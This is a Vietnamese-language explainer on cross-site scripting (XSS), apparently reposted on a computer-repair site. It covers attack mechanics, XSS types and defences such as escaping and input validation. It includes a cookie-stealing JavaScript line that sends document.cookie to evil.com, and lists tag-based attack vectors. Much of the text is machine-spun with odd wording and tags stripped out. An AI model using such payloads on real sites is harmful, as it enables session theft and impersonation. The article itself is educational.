Trong nhiều năm, lỗ hổng tràn bộ đệm là đích nhắm thú vị của những kẻ tấn công trực tuyến. Nhưng đến nay, cross-site scipting mới là thủ phạm thật to gây ra các vụ phá hoại hệ thống.
Cross-site scripting (XSS) là một kiểu tấn công bảo mật trong đấy kẻ tiến công đưa các tập lệnh độc hại vào phần nội dung của các trang web uy tín khác. Tấn công Cross-site scripting diễn ra khi một nguồn không uy tín được phép đưa code của chính nó vào một phần mềm web và mã độc đó được coi dù là trong nội dung gửi đến trình duyệt của nạn nhân.
XSS là một trong số lỗ hổng ứng dụng web phổ biến nhất và xảy ra khi một ứng dụng web sử dụng đầu vào từ người dùng chưa được xác thực hoặc không được mã hóa trong đầu ra mà nó tạo ra.
Bằng cách tận dụng XSS, kẻ tiến công không nhắm trực tiếp vào nạn nhân. Thay vào đó, kẻ tiến công sẽ khai thác lỗ hổng trong trang web hoặc phần mềm web mà nạn nhân sẽ truy cập.
Mặc dù XSS có thể tận dụng ưu thế trong VBScript, ActiveX và Flash (hiện được cho là cũ hoặc thậm chí lỗi thời), nhưng phổ biến nhất vẫn chính là JavaScript – chủ yếu vì JavaScript là nền tảng cho đa số các dùng thử duyệt web.
Tìm hiểu về Cross-Site Scripting
- Cách thức hoạt động của Cross-site Scripting
- Điều tệ nhất mà kẻ tấn công cũng có thể làm với JavaScript là gì?
- Cross-site scripting chẳng cần là vấn đề của người dùng?
- Phân tích chi tiết 1 cuộc tiến công Cross-site scripting
- Một số tỉ dụ về vectơ tiến công Cross-site Scripting
- Các loại lỗ hổng XSS
- Phương pháp ngăn chặn Cross-site scripting
Cách thức hoạt động của Cross-site Scripting
Để chạy code JavaScript độc hại trong trình duyệt của nạn nhân, trước tiên, kẻ tiến công phải tìm cách truyền payload vào trang web mà nạn nhân truy cập. Tất nhiên, kẻ tấn công cũng có thể có thể sử dụng các kỹ thuật social engineering để thuyết phục người dùng truy cập trang đã trở nên tiến công đó.
Để một cuộc tiến công XSS diễn ra, trang web bị tấn công cần trực tiếp cho dù là đầu vào của người dùng trong các trang của mình. Kẻ tấn công sau đó cũng có thể có thể chèn một chuỗi sẽ được dùng trong trang web và đã được xử lý dưới dạng code bởi trình duyệt nạn nhân.
Mã giả phía máy server (server-side pseudo-code) này được sử dụng để hiển thị bình luận gần đây nhất trên trang web:
print " " print " Most recent comment
" print database.latestComment print " "
Tập lệnh sẽ in ra bình luận mới nhất từ cơ sở dữ liệu và in nội dung ra trang HTML, giả sử rằng bình luận được in ra chỉ kể cả phần văn bản.
Trang trên dễ dẫn đến tiến công bởi XSS vì kẻ tiến công có thể gửi nhận xét có chứa payload độc hại, chẳng hạn như.
Người dùng truy cập trang web sẽ có hiển thị trang HTML sau.
Most recent comment
doSomethingEvil();
Khi trang load trong trình duyệt của nạn nhân, tập lệnh độc hại của kẻ tấn công sẽ thực thi, mà người đó không hề hay biết và cũng chẳng thể ngăn chặn cuộc tấn công này.
Lưu ý quan trọng – Lỗ hổng XSS chỉ có thể hiện diện nếu payload (tập lệnh độc hại) mà kẻ tiến công chèn được phân tích (thành HTML trong trường hợp này) trong trình duyệt của nạn nhân.
Điều tệ nhất mà kẻ tấn công có thể làm với JavaScript là gì?
Hậu quả mà những gì kẻ tấn công có thể thực hành với khả năng thực thi JavaScript trên trang web có thể cực khó nhận ra ngay, đặc biệt là lúc các trình duyệt chạy JavaScript trong môi trường được kiểm soát rất chặt chẽ và JavaScript đã giới hạn quyền truy cập vào hệ điều hành và các file của người dùng.
Tuy nhiên, lúc xem xét các phần JavaScript có quyền truy cập, những điều kẻ tấn công cũng có thể làm với JavaScript sẽ trở nên rõ rệt hơn:
- JavaScript độc hại có quyền truy cập vào mọi thứ các đối tượng giống nhau trong phần còn lại của trang web, bao gồm quyền truy cập vào cookie. Cookie thường được sử dụng để lưu giữ mã token phiên, nếu kẻ tấn công có thể lấy cookie phiên của người dùng, chúng có thể giả danh người đó.
- JavaScript có thể đọc và thực hiện các sửa đổi tùy ý đối với DOM của trình duyệt (trong trang mà JavaScript đang chạy).
- JavaScript cũng đều có thể sử dụng XMLHttpRequest để gửi các đòi hỏi HTTP có nội dung tùy ý đến các đích khác nhau.
- JavaScript trong số trình duyệt hiện đại cũng có thể tận dụng các API HTML5 để truy cập địa thế địa lý, webcam, micro và thậm chí các file cụ thể từ hệ thống file của người dùng. Mặc dù hầu hết các API này đòi hỏi người sử dụng chấp nhận, nhưng XSS kết hợp với một số kỹ thuật social engineering sáng dạ cũng có thể có thể mang lại cho kẻ tiến công nhiều lợi thế.
XSS, phối phù hợp với social engineering, cho phép kẻ tiến công thực hành các cuộc tiến công nguy hiểm hơn, bao gồm lấy cắp cookie, keylogging, phishing và lấy cắp danh tính.
Cross-site scripting không phải là vấn đề của người dùng?
Nếu kẻ tiến công cũng có thể lợi dụng lỗ hổng XSS trên trang web để thực thi JavaScript tùy ý trong trình duyệt của khách truy cập, thì bảo mật của trang web, ứng dụng web đó, cũng như người dùng của nó đã gặp nguy hiểm. XSS không cần là vấn đề của người dùng, như mọi lỗ hổng bảo mật khác. Nếu nó ảnh hưởng đến người sử dụng của 1 trang web, thì nghĩa là nó sẽ ảnh hưởng đến chính trang web đó.
Phân tích chi tiết 1 cuộc tiến công Cross-site scripting
Một cuộc tiến công XSS cần ba “diễn viên” – trang web, nạn nhân và kẻ tấn công.
Trong tỉ dụ dưới đây, cũng có thể giả định rằng mục đích của kẻ tiến công là mạo danh nạn nhân bằng cách ăn cắp cookie của người đó. Việc gửi cookie đến máy chủ của kẻ tấn công cũng có thể có thể thực hành bằng nhiều cách khác nhau. Một trong các đó là để kẻ tấn công thực thi code JavaScript sau trong trình duyệt của nạn nhân thông qua lỗ hổng XSS.
window.location=“http://evil.com/?cookie=” + document.cookie
Hình dưới đây minh họa hướng dẫn từng bước của một cuộc tấn công XSS đơn giản.
1. Kẻ tấn công truyền một payload vào cơ sở dữ liệu của trang web bằng phương pháp gửi một biểu mẫu đi kèm một số JavaScript độc hại.
2. Nạn nhân gửi yêu cầu đến trang web.
3. Trang web hiện trên trình duyệt của nạn nhân với một phần nội dung HTML chứa payload của kẻ tấn công.
4. Trình duyệt của nạn nhân sẽ thực thi tập lệnh độc hại bên trong HTML. Trong trường hợp này, nó sẽ gửi cookie của nạn nhân đến máy server của kẻ tấn công. Kẻ tiến công giờ đây chỉ cần trích xuất cookie của nạn nhân khi đòi hỏi HTTP chuyển đến máy chủ, sau đó kẻ tiến công cũng đều có thể sử dụng cookie đánh cắp được để giả danh nạn nhân.
Một số tỉ dụ về vectơ tấn công Cross-site Scripting
Sau đây là danh sách (không đầy đủ) các vectơ tiến công XSS mà kẻ tấn công cũng đều có thể sử dụng để xâm phạm bảo mật của trang web hoặc phần mềm web thông qua 1 cuộc tấn công XSS.
Thẻ
Thẻ
Payload XSS cũng có thể có thể được phân phối bên trong thẻ bằng phương pháp dùng thuộc tính onload hoặc các thuộc tính khác như thuộc tính background.
Thẻ
Một số trình duyệt sẽ thực thi JavaScript được tìm thấy trong.
Thẻ
Thẻ
Thẻ
Trong một số trình duyệt, nếu tính chất type của thẻ được đặt thành image, nó cũng đều có thể được thao tác để nhúng tập lệnh.
Thẻ
Thẻ, thường được dùng để làm liên kết đến các biểu định kiểu bên ngoài, có thể chứa tập lệnh.
Thẻ
Thuộc tính background của thẻ table và thẻ td cũng có thể có thể được khai thác để tham chiếu đến tập lệnh thay vì hình ảnh.
Thẻ
Thẻ
cũng đều có thể chỉ định một background và do đó được nhúng tập lệnh. |
Thẻ
Thẻ cũng có thể được sử dụng để đưa một trang bên ngoài vào tập lệnh.
Các loại lỗ hổng XSS
Có ba loại lỗ hổng Cross-site scripting: Stored XSS, Reflected XSS và DOM-based XSS.
– Stored XSS là loại tiến công cross-site scripting gây thiệt hại nhiều nhất. Kẻ tấn công truyền một tập lệnh – còn được coi là payload – được lưu giữ vĩnh viễn trên phần mềm đích, chẳng hạn như cơ sở dữ liệu. Ví dụ, kẻ tấn công chèn một quãng mã độc trên blog, trong 1 bài đăng trên diễn đàn hoặc trong trường bình luận.
Lúc này Payload XSS sẽ vào vai trò như một phần của trang web khi nạn nhân điều phối đến trang web bị ảnh hưởng trong trình duyệt. Khi nạn nhân xem trang trên trình duyệt sẽ vô tình thực thi tập lệnh độc hại.
– Reflected XSS là loại lỗ hổng cross-site scripting thông dụng nhất. Trong kiểu tấn công này, kẻ tiến công phải chuyển payload cho nạn nhân. Do đó, tập lệnh payload của kẻ tấn công phải là phần nào của đòi hỏi được gửi đến máy chủ web và đã được phản chiếu lại để phản hồi HTTP, cho dù là payload từ đòi hỏi HTTP.
Kẻ tiến công sử dụng email phishing và các cách thức social engineering khác để dụ nạn nhân đem ra đòi hỏi đến máy server có chứa payload XSS. Nạn nhân sau đó thực thi tập lệnh độc hại bên trong trình duyệt. Vì Reflected XSS không phải là 1 cuộc tiến công liên tục, nên kẻ tấn công phải cung cấp payload cho mỗi nạn nhân.
– DOM-based cross-site scripting là loại tấn công XSS nâng cao, cũng có thể thực hiện được khi tập lệnh phía máy khách của ứng dụng web ghi dữ liệu do người dùng cung cấp vào Document Object Model (DOM).
Sau đó, ứng dụng web sẽ đọc dữ liệu từ DOM và gửi nó đến trình duyệt. Nếu dữ liệu không được giải quyết chính xác, kẻ tiến công cũng đều có thể đưa ra payload được lưu trữ như 1 phần của DOM. Payload sau đó sẽ thực thi khi dữ liệu được đọc lại từ DOM.
Phương pháp ngăn chặn Cross-site scripting
Sau đây là những cách thức thông dụng nhất để ngăn chặn Cross-site scripting:
- Escape đầu vào của người sử dụng là một phương pháp để ngăn các lỗ hổng XSS xuất hiện trong các ứng dụng. Điều này có tức là lấy dữ liệu mà phần mềm đã nhận được và đáp ứng an toàn trước lúc hiển thị nó cho người dùng. Escape input từ người sử dụng sẽ khiến các ký tự quan trọng trong dữ liệu mà trang web thu được tránh bị hiểu là mã thực thi. Nhờ đó ngăn trình duyệt diễn giải các ký tự được sử dụng để báo hiệu bắt đầu hoặc kết thúc mã thực thi và dịch chúng thành “escaped”. Ví dụ, các ký tự như dấu ngoặc kép, dấu ngoặc đơn, dấu ngoặc vuông cùng một số dấu chấm câu khác đôi lúc được dùng làm nổi bật mã thực thi. Escape các ký tự này có tức là chuyển đổi chúng từ những ký tự đơn thành các chuỗi khi trình duyệt biên dịch.
- Sàng lọc đầu vào của người dùng là 1 cách khác để chống lại các cuộc tấn công Cross-site scripting, đặc biệt có ích trên các trang web cấp phép HTML markup. Phương pháp chống lại này sẽ xóa sạch dữ liệu chứa các ký tự có khả năng thực thi, thay đổi đầu vào người sử dụng thành định dạng có thể chấp nhận và đảm bảo dữ liệu nhận được chẳng thể được hiểu là mã thực thi.
- Xác thực đầu vào đảm bảo việc ứng dụng hiển thị dữ liệu chính xác và ngăn dữ liệu độc hại tổn hại cho trang web, cơ sở dữ liệu và người dùng. Xác thực đầu vào giúp ngăn XSS trong các biểu mẫu vì nó ngăn người sử dụng thêm các ký tự đặc biệt vào các trường nhập dữ liệu trang web bằng cách từ chối yêu cầu. Xác thực đầu vào giúp giảm khả năng gây ảnh hưởng tiêu cực, nếu kẻ tiến công phát giác ra một lỗ hổng XSS ở đâu đó.
Xem thêm:
- Tổng hợp các kiểu tiến công mạng phổ biến hiện giờ
- Một số quy tắc bảo mật cơ bản cho website
- Làm gì khi phát giác ra hacker tấn công website?
Cross-Site Scripting, các loại XSS, Cross-Site Scripting là gì, Cross-Site Scripting hoạt động như thế nào, các loại Cross-Site Scripting, biện pháp ngăn chặn Cross-Site Scripting, XSS, XSS là gì
Nội dung Kiến thức cơ bản về Cross-Site Scripting (XSS): lỗ hổng thú vị mới của hacker được tổng hợp sưu tầm biên tập bởi: Tin Học Trường Tín. Mọi ý kiến vui lòng gửi Liên Hệ cho truongtin.top để điều chỉnh. truongtin.top tks.
Bài Viết Liên Quan
Bài Viết Khác
- Sửa Wifi Tại Nhà Quận 4
- Cài Win Quận 3 – Dịch Vụ Tận Nơi Tại Nhà Q3
- Vệ Sinh Máy Tính Quận 3
- Sửa Laptop Quận 3
- Dịch Vụ Cài Lại Windows 7,8,10 Tận Nhà Quận 4
- Dịch Vụ Cài Lại Windows 7,8,10 Tận Nhà Quận 3
- Tuyển Thợ Sửa Máy Tính – Thợ Sửa Máy In Tại Quận 4 Lương Trên 10tr
- Tuyển Thợ Sửa Máy Tính – Thợ Sửa Máy In Tại Quận 3
- Top 10 Công Ty Thay Mực Máy In Panasonic Ở Tại Quận 4 Tphcm
- Top 5 Địa Chỉ Sửa Laptop Uy Tín Huyện Mỹ Đức
- Dịch Vụ Sửa Máy Giặt Bị Bẩn Dính Bột Giặt Quận 9
- Cách tự động xóa vị trí Google và dữ liệu hoạt động web
- Địa Chỉ Sửa Quạt Hút – Thông Gió Quận 1